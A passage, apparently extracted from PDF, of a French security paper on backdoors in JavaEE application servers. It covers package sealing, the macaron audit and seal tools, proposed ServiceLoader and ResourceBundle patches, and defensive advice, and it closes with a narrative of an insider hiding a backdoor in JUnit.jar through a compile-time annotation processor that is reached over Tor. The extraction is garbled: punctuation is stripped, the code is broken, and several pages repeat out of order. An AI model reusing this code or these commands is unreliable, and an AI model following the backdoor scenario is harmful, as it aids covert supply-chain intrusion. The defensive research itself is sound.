Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

